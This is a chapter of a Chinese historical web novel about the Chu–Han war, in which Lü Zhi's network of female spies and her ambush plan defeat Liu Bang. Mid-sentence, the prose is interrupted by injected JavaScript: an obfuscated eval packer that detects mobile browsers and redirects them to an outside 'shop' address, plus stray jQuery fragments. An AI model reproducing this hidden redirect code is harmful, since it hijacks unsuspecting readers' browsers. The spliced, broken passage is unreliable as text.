默认冷灰
24号文字
方正启体

66. 望楼

作者:洛可夏本书字数:K更新时间:
    荥阳城的秋天,梧桐叶落了满地。吕雉站在新筑的望楼上,望楼内是整个天下的消息。


    “夫人,两千羽翼已散入四海。”身侧的春桃端着漆盘轻声禀道。


    漆盘里叠着数十枚细竹管,每枚仅小指粗细,用不同颜色的丝线缠着。红的属齐,青的归楚,玄的往燕,紫的赴赵。这些竹管昨日还在千里之外,今日已在此处。靠的正是那两千个消失在人海里的女子,以及她们在各地建立起的、以荥阳为中心的飞羽阁。


    飞羽阁明面上可能是药铺、书肆、胭脂坊,甚至不起眼的豆腐店。阁与阁之间不直接联系,只通过固定的路线与暗号,将密封的竹管送往上一级节点,最终如百川归海,汇聚荥阳。


    两千人悄然隐匿在四海,有人成为诸侯王府里新来的绣娘,指尖穿梭间记下宴席间的醉语;有人在驿道旁经营酒肆,温酒时听往来商旅闲谈;有人甚至成了某位将军新纳的姬妾,在枕边细语时摸清兵符存放之处。


    剩余一千人留在荥阳大营,这一千名女子只留在军营,不作他用,由吕雉亲自统领。


    每日黄昏前,各地消息必达荥阳。诸侯王对应的司使们,皆是心思缜密、过目不忘的女子,已在密室等候。她们快速阅览自己负责的那叠帛书,眼神扫过,手指轻动,将九成琐碎信息投入身旁铜炉。火焰“嗤”地一舔,化作青烟。余下那一成,被抄录在更细的素绢上,放入对应诸侯王名号的铜匣。最后由春桃将铜匣交予吕雉。


    风穿过城垛时,春桃方才的话语随风吹入吕雉的耳中,她的神情微动,眼睫下那双深如幽潭的眼眸在暮光里忽明忽暗。


    吕雉看向漆盘里的细竹管,先取最上方的竹管,竹管里是来自齐地的消息。


    她展开竹管里的绢帛,目光在“韩信不能人道”几个字上停留了许久,唇角忽地勾起一抹浅笑。


    她想起山洞那一夜,他要了七回,这样的男子,若也算“不能人道”,这天下怕是没有能人道的了。


    她将竹管里的其他消息阅完之后,即刻下了望楼,回至项府,这才提笔给海棠回信:


    “你做得甚好。继续留在韩信身边。他不反,你便是永远的暗桩,他若反,你才可亮出身份。”


    随后,她又铺开一帛,给韩信另书一封。


    信至韩信军中时,素帛上只有一行小字:


    “时机已到,可收网矣。”


    韩信垂目看着这行字,指尖无声拂过帛面。


    是啊,闲居这些日子,几乎要闷出病来了。


    三日后,齐地的十万甲士在辕门外集结,戈矛如林,却静得只听见旌旗猎猎作响。


    韩信一声令下:“开拔。”


    十万大军如暗潮般向西涌动。韩信始终策马行在阵前,玄甲黑袍几乎融进夜色。


    ……


    荥阳城内,晨光透进轩窗。


    春桃执起犀角梳,为吕雉梳着发髻。铜镜里映出的面容,比往日添了几分明润的光泽,连眼角眉梢都蕴着三月春水般的柔漾。


    “自虞姬走后,”春桃看着镜中的吕雉说道,“夫人的气色一日好过一日。”她透过镜子小心窥视着吕雉的神色,抿嘴笑道:“大王来咱们这儿的次数都勤了……夫人与大王,如今真是愈发恩爱了。”


    吕雉抬起手,指尖轻轻拂过鬓边项羽送她的一支玉簪,玉簪温润生光,“从前种种,竟是我误会了大王的心意。”


    她凝视着镜中自己,半晌,又开口问道:“虞姬……如今怎样了?”


    春桃俯身禀道:“暗卫来报,她如今每日习剑,兼修医理,很是上心。”


    吕雉将目光落在镜中那支玉簪上,想起往日种种,终是她有愧于她,抢了她的人生,掠了她的缘分。


    良久,她极轻地叹了一声:“她倒是真的……放下了。你去库房,将我从咸阳带来的那几卷医理典籍取来,托人送给虞姬罢。”


    春桃微微一怔:“夫人,那些书卷是您当初在咸阳宫中悉心挑选、一路随身带来的……”


    “留在我这儿,不过蒙尘罢了。还是送给真正需要它的人吧,还能承个人情。”


    “可夫人,”春桃忍不住低声道,“她毕竟是曾对您下过毒之人……”


    吕雉望向窗外的晨光,目光悠远:“这世上哪有永远的敌人,又岂有永远的朋友?今日的对手,或许便是明日的依仗。与其多一个仇敌,不如……多为自己留一条路。”


    这时,忽然传来一阵急促的脚步声。一名心腹侍女撩帘而入,附在吕雉耳边低语几句。


    “知道了。”吕雉平静地说道,她将玉簪缓缓插回髻间,对着镜子最后调整了一下角度。便起身朝外走去,春桃紧随其后。


    项羽正于议事厅议事,与诸将商议刘邦遣使送来的《鸿沟和议》。忽闻门外侍从通传:“夫人到。”


    众将闻声将目光皆投向吕雉。


    她今日着一身水碧色深衣,长发绾作低髻,只斜簪一支白玉云纹簪,通身上下再无珠翠,可偏偏这般清简,却似皓月出云,自有一段清辉流转,反而衬得她眉眼愈发沉静通透,仿佛自带一层灼灼的光华,令人不敢逼视。


    他们早知这位夫人谋略过人,却未曾料到,她在内帷之争上亦手腕了得。那位虞夫人亦是色艺双绝,当初多少人以为吕夫人必将失宠,不料最终离开的竟是虞姬。更听闻虞姬下毒反被识破,而今已遣送彭城。经此一事,厅中诸人对她更添三分忌惮,七分敬重。


    吕雉开口道:“大王,刘邦此人阴险狡诈,此时提出停战协议,恐是缓兵之计。倘若我军退兵之际,他自后突袭,又当如何应对?”


    有人接话道:“刘邦若真如此行事,必为诸侯所耻笑。他应当不至于冒天下之大不韪,行此背信之事。”


    龙且却冷哼一声:“刘邦做的这般事还少吗?诸位莫非忘了,他令两千女子扮作士卒迷惑我军,自己却悄悄从北门脱逃。若不是……”言至此处,他忽然顿住。


    吕雉的目光似有若无地掠过龙且


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145188|189389||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,虽只一瞬,却带着几分锐利。龙且心头一凛,猛然想起当日吕雉曾私下嘱咐,不可将她命他在城门外等候刘邦之事禀报项羽,随即改口道:“总之,未将以为夫人所言在理。对刘邦这等反复无常之徒,大王确应多加防范。”


    项羽闻言,眉心紧蹙:“倘若真如夫人所言,该当如何应对?”


    众将面面相觑。他们皆是沙场猛将,却不长于谋略,此刻范增又远在彭城,一时竟无人能献一策。


    此时吕雉再度开口:“妾身以为,刘邦既对楚军用计,我们不妨将计就计。可佯装撤退,而令主力于后设伏。若他果真来袭,便可反戈一击。”


    诸将听罢,纷纷称妙。


    项羽颔首道:“便依夫人之计。”他目光转向龙且,“龙且。”


    “末将在。”龙且应声出列。


    “你率军于后设伏,一旦汉军来袭,当即迎头痛击。”


    “诺!”


    汉楚双方签订鸿沟和议之后。项羽便率领楚军佯装向彭城方向撤退,楚军故意将部分破损的旌旗、辎重丢弃道旁,车辙交错杂乱,马蹄印迹四面分散,队伍行进间也显得松散迟缓。一切迹象都显示,这是一支军心疲惫、归心似箭的楚军,再也不似之前的虎狼之狮。


    汉军果然倾全军之力尾随追击。


    而在成皋以东三十里的密林外,龙且率领着十万楚军藏身于其中。


    当汉军先头部队完全进入伏击圈时,林中火把如鬼火般次第亮起,在火光的映照下,密林中的十万楚军将士甲胄森然,眼中泛出幽暗的光芒,如同一群饥饿的狼群盯上了待宰的羔羊,从密林中夺路杀出。


    龙且身披银甲,手持长戟,声如雷霆:“刘邦背约追击,今日便是汉军覆灭之时!”


    这一声,唤醒了楚军将士的血性,他们只是奉命在此伏击汉军,谁也未曾料到鸿沟协议的墨迹未干,竟被刘邦这个背信弃义之徒轻易撕毁。他们眼中喷涌着愤怒的火焰,身经百战的楚军将士们再也无法容忍他们被汉军这帮乌合之众次次戏耍,也无法容忍他们战神一样的霸王要被刘邦这样的无赖戏耍。他们如同地狱修罗,狠狠地将矛头刺向汉军的躯体。


    刀光剑影间,断戟遍地横斜,战马哀鸣,血染黄土。


    刘邦在夏侯婴护卫下急令鸣金后撤,汉军终于全面崩溃,丢盔弃甲向西奔逃。楚军追歼二十余里,直至夜幕降临方收兵回营。


    汉军大败后,刘邦只好放弃成皋,退守修武。


    修武,汉军行宫。


    刘邦在大殿内来回踱步。此战一败,他仿佛已窥见汉军倾颓的结局,心中满是不甘。他看向静立一旁的张良,负气道:“吕雉既知前世诸事,这仗还怎么打?不如束手就擒罢了!”


    张良闭目凝思,眼下形势险峻,纵是他,一时也难有破局之策。


    刘邦眼见素来谋略无双的张良也默然不语,心头更沉,自觉已至穷途末路。


    他仰首长叹:“如今……也只能指望彭越了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)